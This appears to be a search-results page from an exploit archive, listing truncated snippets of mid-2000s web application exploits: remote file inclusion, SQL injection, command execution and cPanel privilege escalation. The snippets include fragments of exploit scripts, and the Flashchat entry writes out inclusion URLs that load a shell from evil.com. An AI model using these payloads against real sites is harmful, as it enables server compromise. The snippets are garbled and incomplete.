3102 matches found
Bloq 0.5.4 - admin.php?page[path] Remote File Inclusion
Bloq 0.5.4 - admin.php?pagepath Remote File Inclusion source: https://www.securityfocus.com/bid/20512/info Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to compromise the...
cPanel 10.8.x - 'cpwrap' via MySQLAdmin Privilege Escalation
cPanel Sorry Safe-mode Is On Script Not Work On This Server "; echo "Powered By Ashiyane Security Corporation www.Ashiyane.ir"; exit; $disablef = @iniget"disablefunctions"; if !empty$disablef $disablef = strreplace" ","",$disablef; $disablef = explode",",$disablef; if inarray"passthru",$disablef...
FreeWPS 2.11 - upload.php Remote Command Execution
FreeWPS 2.11 - upload.php Remote Command Execution source: https://www.securityfocus.com/bid/20494/info FreeWPS is prone to a remote command-execution vulnerability. Attackers can exploit this issue to execute arbitrary system commands with the privileges of the webserver process. FreeWPS version...
flush.txt
ToXiC BuG FounD by Drago84Application Affect: FlushCMSSource Code:http://prdownloads.sourceforge.net/flushphp/flushcms.1.0.0.pre2.tar.gz?downloadProblem Is $classpath not DeclareSolution : Declare $classpathPage Vulnerable : class.rich.phpDir Page Vulnerable: /include/editor/ Exempe Of ExPloit...
miniforum.txt
Miniforum - plugin for BLOG:CMS and Nucleus CMS - Remote File Inclusion ------------------------------------------------------------------------------------ Description: With this plugin you can easily add simple forum guestbook to your weblog. It can also to use as a shoutbox. Bug Found by: jank...
BasiliX 1.1.1 - BSX_LIBDIR Remote File Inclusion
BasiliX 1.1.1 - BSXLIBDIR Remote File Inclusion ?php / ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+...
VideoDB 2.2.1 - pdf.php Remote File Inclusion
VideoDB 2.2.1 - pdf.php Remote File Inclusion ?php / ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:...
cPanel 5-10 - SUID Wrapper Privilege Escalation
source: https://www.securityfocus.com/bid/20163/info cPanel is prone to a remote privilege-escalation vulnerability. A remote attacker can exploit this issue to gain administrative access to the affected application. This may lead to other attacks. cPanel Sorry Safe-mode Is On Script Not Work On...
e-Vision CMS 2.0 - all_users.php SQL Injection
e-Vision CMS 2.0 - allusers.php SQL Injection !/usr/bin/php -q -d shortopentag=on / / site: http://www.soqor.net /'; if $argc0 Echo trim$var1; $page = getpage$url.$exploit; $page2 = getpage$url.$exploit2; ifpregmatch'/.+?/is',$page Echo "\n+...
exV2 2.0.4.3 - extract() Remote Command Execution
exV2 2.0.4.3 - extract Remote Command Execution !/usr/bin/php -q -d shortopentag=on ? printr' ------------------------------------------------------------------------------- exV2 = 2.0.4.3 extract remote commands execution exploit mail: [email protected] site: http://retrogod.altervista.org dork:...
e-Vision CMS 2.0 - 'all_users.php' SQL Injection
!/usr/bin/php -q -d shortopentag=on / / site: http://www.soqor.net /'; if $argc0 Echo trim$var1; $page = getpage$url.$exploit; $page2 = getpage$url.$exploit2; ifpregmatch'/.+?/is',$page Echo "\n+ User Name : "; pregreplacecallback'/\td...
Exponent CMS 0.96.3 - 'view' Remote Command Execution
!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.="...
GNUTURK 2G - t_id SQL Injection
GNUTURK 2G - tid SQL Injection ",$html; $rtmp=explode"",$tmp1; $ausername=$rtmp0; $tmp=explode'',$html; $rtmp=explode"",$tmp1; $apass=$rtmp0; echo "--------------------------------\n"; echo "Powered by p2y...
PhotoPost 4.6 - 'PP_PATH' Remote File Inclusion
==================================================================== PhotoPost = 4.6 PPPATH Remote File Inclusion Exploit ==================================================================== Critical Level : Dangerous By Saudi Hackrz http://www.popphoto.com/...
Mambo com_serverstat Component <= 0.4.4 File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================== Mambo comserverstat Component = 0.4.4 File Include Vulnerability ==================================================================...
Microsoft Internet Explorer - COM Object Remote Heap Overflow
/ ----------------------------------------------------------------------- daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec Exploit !!! 0day !!! Public Version !!! Copyright C 2006 XSec All Rights Reserved. Author : nop : nopxsec.org : http://www.xsec.org : Tested : Windows 20...
WDT :-phpopenchat-3.0.* ($sourcedir) Remote File Inclusion Exploit
World Defacers Team --------------------Summary---------------- eVuln ID: WD23 Vendor: phpopenchat-3.0. Vendor's Web Site: http://phpopenchat.org Class: Remote PoC/Exploit: Available Solution: Not Available Discovered by: rUnViRuS wdzone.net & worlddefacers.de...
flashchat.txt
NeXtMaN Here are 2 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt? http://site.com/scriptpath/inc/cmses/aedatingCMS2.php?dirinc=http://evil.com/shell.txt? video here: Code:...
Pheap CMS 1.1 - 'lpref' Remote File Inclusion
!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Pheap CMS perl exploit.pl http://site.com/PheapPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; in config.php line 13: .... include$lpref."lib/globals.php"; .... $sciezka =...
e107 <= 0.75 (GLOBALS Overwrite) Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? printr' -------------------------------------------------------------------------------- e107 = 0.75 GLOBALS overwrite/ZendHashDelKeyOrIndex remote commands execution exploit by rgod [email protected] site:...